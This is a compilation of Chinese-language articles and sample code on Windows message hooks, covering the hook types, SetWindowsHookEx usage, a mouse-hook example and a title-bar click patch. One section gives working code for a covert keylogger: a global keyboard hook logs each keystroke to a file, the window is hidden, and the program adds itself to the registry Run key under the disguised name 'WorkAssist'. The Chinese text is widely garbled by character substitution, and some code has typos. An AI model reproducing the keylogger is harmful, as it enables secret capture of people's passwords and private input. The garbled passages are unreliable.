return DefWindowProc(hwndMain, uMsg, wParam, lParam);
}
return NULL;
}
/****************************************************************
WH_CALLWNDPROC hook procedure
****************************************************************/
LRESULT WINAPI CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CHAR szCWPBuf[256];
CHAR szMsg[16];
HDC hdc;
static int c = 0;
int cch;
if (nCode < 0) // do not process message
return CallNextHookEx(myhookdata[CALLWNDPROC].hhook, nCode,
wParam, lParam);
// Call an application-defined function that converts a message
// constant to a string and copies it to a buffer.
LookUpTheMessage((PMSG) lParam, szMsg);
hdc = GetDC(hwndMain);
switch (nCode)
{
case HC_ACTION:
cch = wsprintf(szCWPBuf,
"CALLWNDPROC - tsk: %ld, msg: %s, %d times ",
wParam, szMsg, C++);
TextOut(hdc, 2, 15, szCWPBuf, cch);
break;
default:
break;
}
ReleaseDC(hwndMain, hdc);
return CallNextHookEx(myhookdata[CALLWNDPROC].hhook, nCode,
wParam, lParam);
}
/****************************************************************
WH_GETMESSAGE hook procedure
****************************************************************/
LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CHAR szMSGBuf[256];
CHAR szRem[16];
CHAR szMsg[16];
HDC hdc;
static int c = 0;
int cch;
if (nCode < 0) // do not process message
return CallNextHookEx(myhookdata[GETMESSAGE].hhook, nCode,
wParam, lParam);
switch (nCode)
{
case HC_ACTION:
switch (wParam)
{
case PM_REMOVE:
lstrcpy(szRem, "PM_REMOVE");
break;
case PM_NOREMOVE:
lstrcpy(szRem, "PM_NOREMOVE");
break;
default:
lstrcpy(szRem, "Unknown");
break;
}
// Call an application-defined function that converts a
// message constant to a string and copies it to a
// buffer.
LookUpTheMessage((PMSG) lParam, szMsg);
hdc = GetDC(hwndMain);
cch = wsprintf(szMSGBuf,
"GETMESSAGE - wParam: %s, msg: %s, %d times ",
szRem, szMsg, c++);
TextOut(hdc, 2, 35, szMSGBuf, cch);
break;
default:
break;
}
ReleaseDC(hwndMain, hdc);
return CallNextHookEx(myhookdata[GETMESSAGE].hhook, nCode,
wParam, lParam);
}
/****************************************************************
WH_DEBUG hook procedure
****************************************************************/
LRESULT CALLBACK DebugProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CHAR szBuf[128];
HDC hdc;
static int c = 0;
int cch;
if (nCode < 0) // do not process message
return CallNextHookEx(myhookdata[DEBUG].hhook, nCode,
wParam, lParam);
hdc = GetDC(hwndMain);
switch (nCode)
{
case HC_ACTION:
cch = wsprintf(szBuf,
"DEBUG - nCode: %d, tsk: %ld, %d times ",
nCode,wParam, c++);
TextOut(hdc, 2, 55, szBuf, cch);
break;
default:
break;
}
ReleaseDC(hwndMain, hdc);
return CallNextHookEx(myhookdata[DEBUG].hhook, nCode, wParam,
lParam);
}
/****************************************************************
WH_CBT hook procedure
****************************************************************/
LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CHAR szBuf[128];
CHAR szCode[128];
HDC hdc;
static int c = 0;
int cch;
if (nCode < 0) // do not process message
return CallNextHookEx(myhookdata[CBT].hhook, nCode, wParam,
lParam);
hdc = GetDC(hwndMain);
switch (nCode)
{
case HCBT_ACTIVATE:
lstrcpy(szCode, "HCBT_ACTIVATE");
break;
case HCBT_CLICKSKIPPED:
lstrcpy(szCode, "HCBT_CLICKSKIPPED");
break;
case HCBT_CREATEWND:
lstrcpy(szCode, "HCBT_CREATEWND");
break;
case HCBT_DESTROYWND:
lstrcpy(szCode, "HCBT_DESTROYWND");
break;
case HCBT_KEYSKIPPED:
lstrcpy(szCode, "HCBT_KEYSKIPPED");
break;
case HCBT_MINMAX:
lstrcpy(szCode, "HCBT_MINMAX");
break;
case HCBT_MOVESIZE:
lstrcpy(szCode, "HCBT_MOVESIZE");
break;
case HCBT_QS:
lstrcpy(szCode, "HCBT_QS");
break;
case HCBT_SETFOCUS:
lstrcpy(szCode, "HCBT_SETFOCUS");
break;
case HCBT_SYSCOMMAND:
lstrcpy(szCode, "HCBT_SYSCOMMAND");
break;
default:
lstrcpy(szCode, "Unknown");
break;
}
cch = wsprintf(szBuf, "CBT - nCode: %s, tsk: %ld, %d times ",
szCode, wParam, c++);
TextOut(hdc, 2, 75, szBuf, cch);
ReleaseDC(hwndMain, hdc);
return CallNextHookEx(myhookdata[CBT].hhook, nCode, wParam,
lParam);
}
/****************************************************************
WH_MOUSE hook procedure
****************************************************************/
LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CHAR szBuf[128];
CHAR szMsg[16];
HDC hdc;
static int c = 0;
int cch;
if (nCode < 0) // do not process the message
return CallNextHookEx(myhookdata[MOUSE].hhook, nCode,
wParam, lParam);
// Call an application-defined function that converts a message
// constant to a string and copies it to a buffer.
LookUpTheMessage((PMSG) lParam, szMsg);
hdc = GetDC(hwndMain);
cch = wsprintf(szBuf,
"MOUSE - nCode: %d, msg: %s, x: %d, y: %d, %d times ",
nCode, szMsg, LOWORD(lParam), HIWORD(lParam), c++);
TextOut(hdc, 2, 95, szBuf, cch);
ReleaseDC(hwndMain, hdc);
return CallNextHookEx(myhookdata[MOUSE].hhook, nCode, wParam,
lParam);
}
/****************************************************************
WH_KEYBOARD hook procedure
****************************************************************/
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CHAR szBuf[128];
HDC hdc;
static int c = 0;
int cch;
if (nCode < 0) // do not process message
return CallNextHookEx(myhookdata[KEYBOARD].hhook, nCode,
wParam, lParam);
hdc = GetDC(hwndMain);
cch = wsprintf(szBuf, "KEYBOARD - nCode: %d, vk: %d, %d times ",
nCode, wParam, c++);
TextOut(hdc, 2, 115, szBuf, cch);
ReleaseDC(hwndMain, hdc);
return CallNextHookEx(myhookdata[KEYBOARD].hhook, nCode, wParam,
lParam);
}
/****************************************************************
WH_MSGFILTER hook procedure
****************************************************************/
LRESULT CALLBACK MessageProc(int nCode, WPARAM wParam, LPARAM lParam)
{
CHAR szBuf[128];
CHAR szMsg[16];
CHAR szCode[32];
HDC hdc;
static int c = 0;
int cch;
if (nCode < 0) // do not process message
return CallNextHookEx(myhookdata[MSGFILTER].hhook, nCode,
wParam, lParam);
switch (nCode)
{
case MSGF_DIALOGBOX:
lstrcpy(szCode, "MSGF_DIALOGBOX");
break;
case MSGF_MENU:
lstrcpy(szCode, "MSGF_MENU");
break;
case MSGF_SCROLLBAR:
lstrcpy(szCode, "MSGF_SCROLLBAR");
break;
default:
wsprintf(szCode, "Unknown: %d", nCode);
break;
}
// Call an application-defined function that converts a message
// constant to a string and copies it to a buffer.
LookUpTheMessage((PMSG) lParam, szMsg);
hdc = GetDC(hwndMain);
cch = wsprintf(szBuf,
"MSGFILTER nCode: %s, msg: %s, %d times ",
szCode, szMsg, c++);
TextOut(hdc, 2, 135, szBuf, cch);
ReleaseDC(hwndMain, hdc);
return CallNextHookEx(myhookdata[MSGFILTER].hhook, nCode,
wParam, lParam);
}
未完待續。
VC 利用 GlobalHook 進行後臺監控的初步運用
若是把這個利用全局鉤子作後臺監控的小程序視爲一個工程的話,能夠分爲如下幾個步驟;
一、經過動態連接庫(dll)方式作全局鉤子,應先創建 dll 工程;
二、動態連接庫(dll)自己丌可運行,因此還須要創建一個 exe 工程,並調用上述 dll 工程中相應函數實現
所需功能;
三、所謂後臺監控,即程序要有丌可見、開機自運行等特色,前者能夠經過設置控件屬性、調用相關 API
函數來實現,後者能夠經過寫入註冊表等來實現。
下面主要談一下各個步驟的具體實現,才疏學淺,僅供參考.
~1~動態連接庫的創建
動態連接庫(Dynamic Link Library)對於軟件體系的發展來講具備里程碑的意義,具備不少優勢,好比
說它能夠節省內存並實現資源的共享,它丌依賴於編程語言,簡化了軟件項目的管理等等;固然,它也有
自身缺陷。在 VC 下,動態連接庫能夠有如下幾種模式:
Non-MFC Dynamic Link Library/Regular Dynamic Link Library/Extension Dynamic Link Library
關於幾種模式之間的差異網上資料不少,此處丌再贅述,這裏選用 Regular Dynamic Link Library 方式建
立 dll 工程,頭文件、源文件中的操做以下:
//Hook.h
……
#define DllExport __declspec(dllexport) //宏定義
DllExport void WINAPI InstallLaunchEv(); //鉤子安裝函數定義
……
//Hook.cpp
……
HHOOK Hook;//鉤子變量
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam); //鉤子安裝回
調函數聲明
void SaveLog(char* c);//保存數據函數
……
CHookApp theApp;
……
DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)
LauncherHook,theApp.m_hInstance,0);
}
LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}
void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("d:qds\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
{
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
}
file.SeekToEnd();
file.Write(c,1);
file.Close();
}
對以上工程 Hook 編譯便可,成功後生成 Hook.h,Hook.lib,Hook.dll 三個文件,其中最後一個位於工
程的 Debug 目錄下。
~2~應用程序工程的創建
只須要創建一個普通的應用程序工程便可,這裏選擇基於對話框的應用程序。
鑑於操做比較簡單,文件中添加代碼直接以下:
//KeyHook.h
#include "Hook.h" //加入頭文件
//KeyHookDlg.h
//KeyHookDlg.cpp
InstallLaunchEv();
HKEY hKey;
LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey);
if(lRet == ERROR_SUCCESS)
{
char pFileName[MAX_PATH] ="C:\\KeyHook.exe";
DWORD dwRet = GetModuleFileName(NULL, pFileName, MAX_PATH);
lRet = RegSetValueEx(hKey, "WorkAssist", 0, REG_SZ, (BYTE *)pFileName, dwRet);
RegCloseKey(hKey);
if(lRet != ERROR_SUCCESS)
{
AfxMessageBox("系統參數錯誤,丌能隨系統啓動");
}
}
考慮到鉤子程序的運行額能夠隨系統的啓動而開始運行,因此上述鉤子的安裝和註冊表的操做都是在對話
框的初始化函數(OnInitDialolg())中迚行的。
~3~實現後臺監控
這裏主要是兩個方面:程序「隱身」和自運行。
隱身的操做可在 Onpaint()函數中添加 API 函數 ::ShowWindow(m_hWnd,SW_HIDE)實現;程序隨電腦
自運行看而經過 2 中寫入註冊表來實現。
總結:
以上主要經過一個簡單的例子實現了鉤子函數實現簡單後臺監控的功能,但願能對各位讀者有所幫助,當
然其中也有丌足之處,但願讀者提出你們共同迚步!
淺談 HOOK 技術在 VC 編程中的應用
閱讀:57 次 時間:2004-12-23 00:00:00 字體:[大 中 小]
摘要: 本文針對 HOOK 技術在 VC 編程中的應用進行討論,並着重對應用比較普遍的全局
HOOK 作了闡述。
引言
Windows 操做系統是創建在事件驅動機制之上的,系統各部分之間的溝通也都是經過
消息的相互傳遞而實現的。但在一般狀況下,應用程序只能處理來自進程內部的消息或是從
其餘進程發過來的消息,若是須要對在進程外傳遞的消息進行攔截處理就必須採起一種被稱
爲 HOOK(鉤子)的技術。鉤子是 Windows 操做系統中很是重要的一種系統接口,用它可
以輕鬆截獲並處理在其餘應用程序之間傳遞的消息,並由此能夠完成一些普通應用程序難以
實現的特殊功能。基於鉤子在消息攔截處理中的強大功能,本文即以 VC++ 6.0 爲編程背景
對鉤子的基本概念及其實現過程展開討論。爲方便理解,在文章最後還給出了一個簡單的有
關鼠標鉤子的應用示例。
鉤子的基本原理
鉤子的本質是一段用以處理系統消息的程序,經過系統調用,將其掛入到系統。鉤子的
種類有不少,每一種鉤子負責截獲並處理相應的消息。鉤子機制容許應用程序截獲並處理髮
往指定窗口的消息或特定事件,其監視的窗口便可以是本進程內的也能夠是由其餘進程所創
建的。在特定的消息發出,並在到達目的窗口以前,鉤子程序先行截獲此消息並獲得對其的
控制權。此時在鉤子函數中就能夠對截獲的消息進行各類修改處理,甚至強行終止該消息的
繼續傳遞。
任何一個鉤子都由系統來維護一個指針列表(鉤子鏈表),其指針指向鉤子的各個處理
函數。最近安裝的鉤子放在鏈的開始,最先安裝的鉤子則放在最後,當鉤子監視的消息出現
時,操做系統調用鏈表開始處的第一個鉤子處理函數進行處理,也就是說最後加入的鉤子優
先得到控制權。在這裏提到的鉤子處理函數必須是一個回調函數(callback function),並且
不能定義爲類成員函數,必須定義爲普通的 C 函數。在使用鉤子時能夠根據其監視範圍的
不一樣將其分爲全局鉤子和線程鉤子兩大類,其中線程鉤子只能監視某個線程,而全局鉤子則
可對在當前系統下運行的全部線程進行監視。顯然,線程鉤子能夠看做是全局鉤子的一個子
集,全局鉤子雖然功能強大但同時實現起來也比較煩瑣:其鉤子函數的實現必須封裝在動態
連接庫中才能夠使用。
鉤子的安裝與卸載
因爲全局鉤子具備至關的普遍性並且在功能上徹底覆蓋了線程鉤子,所以下面就主要對
應用較多的全局鉤子的安裝與使用進行討論。前面已經提過,操做系統是經過調用鉤子鏈表
開始處的第一個鉤子處理函數而進行消息攔截處理的。所以,爲了設置鉤子,只需將回調函
數放置於鏈首便可,操做系統會使其首先被調用。在具體實現時由函數 SetWindowsHookEx()
負責將回調函數放置於鉤子鏈表的開始位置。SetWindowsHookEx()函數原型聲明以下:
HHOOK SetWindowsHookEx(int idHook;
HOOKPROC lpfn;
HINSTANCE hMod;
DWORD dwThreadId);
其中:參數 idHook 指定了鉤子的類型,總共有以下 13 種:
WH_CALLWNDPROC 系統將消息發送到指定窗口以前的"鉤子"
WH_CALLWNDPROCRET 消息已經在窗口中處理的"鉤子"
WH_CBT 基於計算機培訓的"鉤子"
WH_DEBUG 差錯"鉤子"
WH_FOREGROUNDIDLE 前臺空閒窗口"鉤子"
WH_GETMESSAGE 接收消息投遞的"鉤子"
WH_JOURNALPLAYBACK 回放之前經過 WH_JOURNALRECORD"鉤子"記錄的輸
入消息
WH_JOURNALRECORD 輸入消息記錄"鉤子"
WH_KEYBOARD 鍵盤消息"鉤子"
WH_MOUSE 鼠標消息"鉤子"
WH_MSGFILTER 對話框、消息框、菜單或滾動條輸入消息"鉤子"
WH_SHELL 外殼"鉤子"
WH_SYSMSGFILTER 系統消息"鉤子"
參數 lpfn 爲指向鉤子處理函數的指針,即回調函數的首地址;參數 hMod 則標識了鉤子
處理函數所處模塊的句柄;第四個參數 dwThreadId 指定被監視的線程,若是明確指定了某
個線程的 ID 就只監視該線程,此時的鉤子即爲線程鉤子;若是該參數被設置爲 0,則表示
此鉤子爲監視系統全部線程的全局鉤子。此函數在執行完後將返回一個鉤子句柄。
雖然對於線程鉤子並不要求其象全局鉤子同樣必須放置於動態連接庫中,可是推薦其也
在動態連接庫中實現。由於這樣的處理不只可以使鉤子可爲系統內的多個進程訪問,也能夠在
系統中被直接調用,並且對於一個只供單進程訪問的鉤子,還能夠將其鉤子處理過程放在安
裝鉤子的同一個線程內,此時 SetWindowsHookEx()函數的第三個參數也就是該線程的實例
句柄。
在 SetWindowsHookEx()函數完成對鉤子的安裝後,若是被監視的事件發生,系統立刻
會調用位於相應鉤子鏈表開始處的鉤子處理函數進行處理,每個鉤子處理函數在進行相應
的處理時都要考慮是否須要把事件傳遞給下一個鉤子處理函數。若是要傳遞,就經過函數
CallNestHookEx()來解決。儘管如此,在實際使用時仍是強烈推薦不管是否須要事件傳遞而
都在過程的最後調用一次 CallNextHookEx( )函數,不然將會引發一些沒法預知的系統行爲
或是系統鎖定。該函數將返回位於鉤子鏈表中的下一個鉤子處理過程的地址,至於具體的返
回值類型則要視所設置的鉤子類型而定。該函數的原型聲明以下:
LRESULT CallNextHookEx(HHOOK hhk;int nCode;WPARAM wParam;LPARAM lParam);
其中,參數 hhk 爲由 SetWindowsHookEx()函數返回的當前鉤子句柄;參數 nCode 爲傳
給鉤子過程的事件代碼;參數 wParam 和 lParam 則爲傳給鉤子處理函數的參數值,其具體
含義同設置的鉤子類型有關。
最後,因爲安裝鉤子對系統的性能有必定的影響,因此在鉤子使用完畢後應及時將其卸
載以釋放其所佔資源。釋放鉤子的函數爲 UnhookWindowsHookEx(),該函數比較簡單隻有
一個參數用於指定此前由 SetWindowsHookEx()函數所返回的鉤子句柄,原型聲明以下:
BOOL UnhookWindowsHookEx(HHOOK hhk);
鼠標鉤子的簡單示例
最後,爲更清楚展現 HOOK 技術在 VC 編程中的應用,給出一個有關鼠標鉤子使用的
簡單示例。在鉤子設置時採用的是全局鉤子。下面就對鼠標鉤子的安裝、使用以及卸載等過
程的實現進行講述:
因爲本例程須要使用全局鉤子,所以首先構造全局鉤子的載體--動態連接庫。考慮到
Win32 DLL 與 Win16 DLL 存在的差異,在 Win32 環境下要在多個進程間共享數據,就必須
採起一些措施將待共享的數據提取到一個獨立的數據段,並經過 def 文件將其屬性設置爲讀
寫共享:
#pragma data_seg("TestData")
HWND glhPrevTarWnd=NULL; // 窗口句柄
HWND glhHook=NULL; // 鼠標鉤子句柄
HINSTANCE glhInstance=NULL; // DLL 實例句柄
#pragma data_seg()
„„
SECTIONS // def 文件中將數據段 TestData 設置爲讀寫共享
TestData READ WRITE SHARED
在安裝全局鼠標鉤子時使用函數 SetWindowsHookEx(),並設定鼠標鉤子的處理函數爲
MouseProc(),安裝函數返回的鉤子句柄保存於變量 glhHook 中:
void StartHook(HWND hWnd)
{
„„
glhHook=(HWND)SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0);
}
鼠標鉤子安裝好後,在移動、點擊鼠標時將會發出鼠標消息,這些消息均通過消息處理
函數 MouseProc()的攔截處理。在此,每當捕獲到系統各線程發出的任何鼠標消息後首先獲
取當前鼠標所在位置下的窗口句柄,並進一步經過 GetWindowText()函數獲取到窗口標題。
在處理函數完成後,經過 CallNextHookEx()函數將事件傳遞到鉤子列表中的下一個鉤子處理
函數:
LRESULT WINAPI MouseProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *) lParam;
if(nCode>=0)
{
HWND glhTargetWnd=pMouseHook->hwnd;
//取目標窗口句柄
HWND ParentWnd=glhTargetWnd;
while(ParentWnd !=NULL)
{
glhTargetWnd=ParentWnd;
//取應用程序主窗口句柄
ParentWnd=GetParent(glhTargetWnd);
}
if(glhTargetWnd!=glhPrevTarWnd)
{
char szCaption[100];
//取目標窗口標題
GetWindowText(glhTargetWnd,szCaption,100);
„„
}
}
//繼續傳遞消息
return CallNextHookEx((HHOOK)glhHook,nCode,wParam,lParam);
}
最後,調用 UnhookWindowsHookEx()函數完成對鉤子的卸載:
void StopHook()
{
„„
UnhookWindowsHookEx((HHOOK)glhHook);
}
如今完成的是鼠標鉤子的動態連接庫,通過編譯後須要經應用程序的調用才能實現對當
前系統下各線程間鼠標消息的攔截處理。這部分同普通動態連接庫的使用沒有任何區別,在
將其加載到進程後,首先調用動態連接庫的 StartHook()函數安裝好鉤子,此時便可對系統下
的鼠標消息實施攔截處理,在動態連接庫被卸載即終止鼠標鉤子時經過動態連接庫中的
StopHook()函數卸載鼠標鉤子。
經上述編程,在安裝好鼠標鉤子後,鼠標在移動到系統任意窗口上時,立刻就會經過對
鼠標消息的攔截處理而獲取到當前窗口的標題。實驗證實此鼠標鉤子的安裝、使用和卸載過
程是正確的。
小結
鉤子,尤爲是系統鉤子具備至關強大的功能,經過這種技術能夠對幾乎全部的 Windows
系統消息和事件進行攔截處理。這種技術普遍應用於各類自動監控系統對進程外消息的監控
處理。本文只對鉤子的一些基本原理和通常的使用方法作了簡要的探討,感興趣的讀者徹底
能夠在本文所述代碼基礎之上用相似的方法實現對諸如鍵盤鉤子、外殼鉤子等其餘類型鉤子
的安裝與使用。本文所述代碼在 Windows 98 下由 Microsoft Visual C++ 6.0 編譯經過。
VC 獲取鼠標 hook 時的作法
//NCButtonUpHelper.h
#pragma once
extern HHOOK hMouseHook;
extern bool bNcLButtonDown;
LRESULT CALLBACK MouseHookProc(int nCode,WPARAM wParam, LPARAM lParam);
//NCButtonUpHelper.cpp
#include "stdafx.h"
HHOOK hMouseHook = NULL;
bool bNcLButtonDown = false;
LRESULT CALLBACK MouseHookProc(int nCode,WPARAM wParam, LPARAM lParam)
{
if (nCode == HC_ACTION)
{
PMOUSEHOOKSTRUCT mhs = (PMOUSEHOOKSTRUCT)lParam;
CWnd *pWnd = AfxGetMainWnd();
switch (wParam)
{
case WM_NCLBUTTONDOWN:
{
if (HTCAPTION == mhs->wHitTestCode && mhs->hwnd == pWnd->GetSafeHwnd())
{
SendMessage(mhs->hwnd,WM_NCLBUTTONDOWN,HTCAPTION,MAKELONG(mhs->pt.x,mhs->pt.y));
bNcLButtonDown = true;
}
}
break;
case WM_NCLBUTTONUP:
{
bNcLButtonDown = false;
}
break;
case WM_LBUTTONUP:
{
if (true == bNcLButtonDown && mhs->hwnd == pWnd->GetSafeHwnd())
{
PostMessage(mhs->hwnd,WM_NCLBUTTONUP,HTCAPTION,MAKELONG(mhs->pt.x,mhs->pt.y));
bNcLButtonDown = false;
}
}
break;
}
}
return CallNextHookEx(hMouseHook,nCode,wParam,lParam);
}
//例子加入,鼠標點擊客戶區外(對話框標題欄、非設備區)
#include "NCButtonUpHelper.h"
在 OnInitDialog()初始化對話框里加入
hMouseHook = SetWindowsHookEx(WH_MOUSE,
(HOOKPROC)MouseHookProc,
(HINSTANCE)AfxGetInstanceHandle(),
AfxGetThread()->m_nThreadID);
在 OnDestroy()消息裏添加卸載鉤子
if (hMouseHook != NULL)
{
UnhookWindowsHookEx(hMouseHook);
}
接下來就能用對話框裏的各種非工做區或非客戶區的消息了
OnNcMouseMove(UINT nHitTest, CPoint point)、OnNcLButtonDown(UINT nHitTest, CPoint point)、
OnNcLButtonUp(UINT nHitTest, CPoint point)、OnNcHitTest(CPoint point)
相關用法能夠參考例子
關於 SetWindowsHookEx 狀況 MSDN,我這裏引入了一個論壇上的內容,請耐心閱讀
********************************************************************************
This article was contributed by Robert Wiejak.
Environment: MFC, Windows 95, 98, Me, NT 3.51, 4.0, 5.0
If you spend time investigating what happens when you click and release the left
button over the title bar, you will find out that instead of getting "non-client
left button up " message, you just get "left button up
". One could actually work with it, if the message found it
's way into the application. It does not.
I was in a middle of writing an application when I discovered this. I looked all
over the internet for articles regarding WM_NCLBUTTONUP problem, but the only
thing I could find were questions about the problem. After some more investigating
I have come up with a patch that could be adopted by each application requ
iring such notification.
The patch consists of installing a "windows hook
" that will intercept all mouse messages for this application before they enter int
o the message pump. To do that you need to call SetWindowsHookEx(...) function,
soon after the main window is created. Here is the call:
hMHook = SetWindowsHookEx(
// hook type:
WH_MOUSE,
// hook procedure:
(HOOKPROC) MouseHookProc,
// handle to application instance:
AfxGetInstanceHandle(),
// thread identifier:
AfxGetThread()-> m_nThreadID
);
It is very important that you supply handle to application instance and thread ide
ntifier, otherwise every application running on your computer will attempt to hook i
t
's mouse messages through your program and it could be disastrous. By supplying
these two parameters you will insure that only messages from your application will
end up in your callback function.
Equally important is a call to remove the hook before your application terminates.
The UnhookWindowsHookEx(...) function removes a hook procedure installed in a hook
chain. Most likely you will call it somewhere in OnDestroy(), like this:
if(hMHook != NULL)
UnhookWindowsHookEx(hMHook);
The callback function is where you will receive WM_NCLBUTTONDOWN message and
the next time you receive WM_LBUTTONUP message you will post WM_NCLBUTTONUP
directly into the application message pump. Therefore, no special handling will be
required to service these messages. You will simply write your code inside of O
nNcLButtonUp(...), just like you would for any other message.
Here is the callback code:
// ////////////////////////////////////////////////////
// handle to the mouse hook
HHOOK hMHook = NULL;
// status of non-client left button down
BOOL bNcLButtonDown = FALSE;
// /////////////////////////////////////////////////////
// Mouse hook process
LRESULT CALLBACK MouseHookProc( int nCode,
WPARAM wParam,
LPARAM lParam)
{
if(nCode == HC_ACTION)
{
// get a pointer to the mouse hook struct.
PMOUSEHOOKSTRUCT mhs = (PMOUSEHOOKSTRUCT) lParam;
// intercept messages for left button down and up
switch(wParam)
{
case WM_NCLBUTTONDOWN:
{
// get the pointer to the main window
CWnd *pWnd = AfxGetMainWnd();
// if the message is from your window and
// the hit test indicates title bar
if((mhs-> hwnd == pWnd-> GetSafeHwnd())
&& (mhs-> wHitTestCode == HTCAPTION))
{
// then indicate non-client left button down
bNcLButtonDown = TRUE;
// there is no problem with this message
// so you don 't have to do anything else
}
}
break;
case WM_NCLBUTTONUP:
// you will get this message if you double-click
// on the title bar
// reset the status
bNcLButtonDown = FALSE;
break;
case WM_LBUTTONUP:
{
// get the pointer to the main window
CWnd *pWnd = AfxGetMainWnd();
// if the message is from your window and
// non-client left button is down
if((mhs-> hwnd == pWnd-> GetSafeHwnd())
&& (bNcLButtonDown == TRUE))
{
// then post WM_NCLBUTTONUP message directly
// into your window message pump
// Note: I 'm hardcoding HTCAPTION because the
// left button was down, and while it is down,
// the mouse does not move in respect to the
// window, but it does in respect to the screen,
// so the mouse should still be over the caption
// bar of your window when you release the button.
pWnd-> PostMessage(WM_NCLBUTTONUP, HTCAPTION,
MAKELONG(mhs-> pt.x,mhs-> pt.y));
// reset non-client left button down
bNcLButtonDown = FALSE;
}
}
break;
default:
break;
}
}
// let the messages through to the next hook
return CallNextHookEx(hMHook, nCode, wParam, lParam);
}
I am including two sample projects. The "nclbxExample
" is technical, and the "AlphaDialogExample " is more practical. The "nclbxExample
" is better documented so you can see how and were I have implemented the
code.
NOTE: If you are going to use mousepatch.cpp the way I
'm using it, DO NOT add it to your project.
********************************************************************************************
WINDOWS VC 編程之 HOOK 技術
(2007-05-28 08:46:57)
轉載▼
hook 是 WINDOWS 提供的一種消息處理機制,它使得程序員能夠使用子過程來監視系統消
息,並在消息到達目標過程前獲得處理。
下面將介紹 WINNDOWS HOOKS 而且說明如何在 WINDOWS 程序中使用它。
關於 HOOKS
使用 HOOK 將會下降系統效率,由於它增長了系統處量消息的工做量。建議在必要時才使
用 HOOK,並在消息處理完成後當即移去該 HOOK。
HOOK 鏈
WINDOWS 提供了幾種不一樣類型的 HOOKS;不一樣的 HOOK 能夠處理不一樣的消息。例如,
WH_MOUSE HOOK 用來監視鼠標消息。
WINDOWS 爲這幾種 HOOKS 維護着各自的 HOOK 鏈。HOOK 鏈是一個由應用程序定義的
回調函數隊列,當某種類型的消息發生時,WINDOWS 向此種類型的 HOOK 鏈的第一個函
數發送該消息,在第一函數處理完該消息後由該函數向鏈表中的下一個函數傳遞消息,依次
向下。若是鏈中某個函數沒有向下傳送該消息,那麼鏈表中後面的函數將得不到此消息。(對
於某些類型的 HOOK,無論 HOOK 鏈中的函數是否向下傳遞消息,與此類型 HOOK 聯繫的
全部 HOOK 函數都會收到系統發送的消息)
HOOK 過程
爲了攔截特定的消息,你能夠使用 SetWindowsHookEx 函數在該類型的 HOOK 鏈中安裝你
本身的 HOOK 函數。該函數語法以下:
public function MyHook(nCode,wParam,iParam) as long
„加入代碼
end function
其中 MyHook 能夠隨便命名,其它不能變。該函數必須放在模塊段。nCode 指定 HOOK 類
型。wParam,iParam 的取值隨 nCode 不一樣而不一樣,它表明了某種類型的 HOOK 的某個特定
的動做。
SetWindowsHookEx 老是將你的 HOOK 函數放置在 HOOK 鏈的頂端。你能夠使用
CallNextHookEx 函數將系統消息傳遞給 HOOK 鏈中的下一個函數。
[註釋]對於某些類型的 HOOK,系統將向該類的全部 HOOK 函數發送消息,這時,HOOK
函數中的 CallNextHookEx 語句將被忽略。
全局 HOOK 函數能夠攔截系統中全部線程的某個特定的消息(此時該 HOOK 函數必須放置
在 DLL 中),局部 HOOK 函數能夠攔截指定線程的某特定消息(此時該 HOOK 函數能夠
放置在 DLL 中,也能夠放置在應用程序的模塊段)。
[註釋] 建議只在調試時使用全局 HOOK 函數。全局 HOOK 函數將下降系統效率,而且會同
其它使用該類 HOOK 的應用程序產生衝突。
HOOK 類型
WH_CALLWNDPROC 和 WH_CALLWNDPROCRET HOOK
WH_C ALLWNDPROC 和 WH_CALLWNDPROCRET HOOK能夠監視 SendMessage 發送的
消息。系統在向窗體過程發送消息前,將調用 WH_CALLWNDPROC;在窗體過程處理完該
消息後系統將調用 WH_CALLWNDPROCRET。
WH_CALLWNDPROCRET HOOK 會向 HOOK過程傳送一個 CWPRETSTRUCT 結構的地址。
該結構包含了窗體過程處理系統消息後的一些信息。
WH_CBT Hook
系統在激活,建立,消毀,最小化,最大化,移動,改變窗體前;在完成一條系統命令前;
在從系統消息隊列中移去鼠標或鍵盤事件前;在設置輸入焦點前,或同步系統消息隊列前,
將調用 WH_CBT HOOK。你能夠在你的 HOOK 過程攔截該類 HOOK,並返回一個值,告
訴系統,是否繼續執行上面的操做。
WH_DEBUG HOOK
系統在調用與某種 HOOK 類型聯繫的 HOOK 過程前,將調用 WH_DEBUG ,應用程序可
以使用該 HOOK 決定是否讓系統執行某種類型的 HOOK。
WH_FOREGROUNDIDLE Hook
系統在空閒時調用該 HOOK,在後臺執行優先權較低的應用程序。
WH_GETMESSAGE Hook
WH_GETMESSAGE Hook 使應用程序能夠攔截 GetMessage 或 PeekMessage 的消息。應用
程序使用 WH_GETMESSAGE HOOK 監視鼠標、鍵盤輸入和發送到隊列中的其它消息。
WH_JOURNALRECORD Hook
WH_JOURNALRECORD Hook 使應用程序能夠監視輸入事件。典型地,應用程序使用該
HOOK 記錄鼠標、鍵盤輸入事件以供之後回放。該 HOOK 是全局 HOOK,而且不能在指定
線程中使用。
WH_JOURNALPLAYBACK Hook
` WH_JOURNALPLAYBACK Hook 使應用程序能夠向系統消息隊列中插入消息。該 HOOK
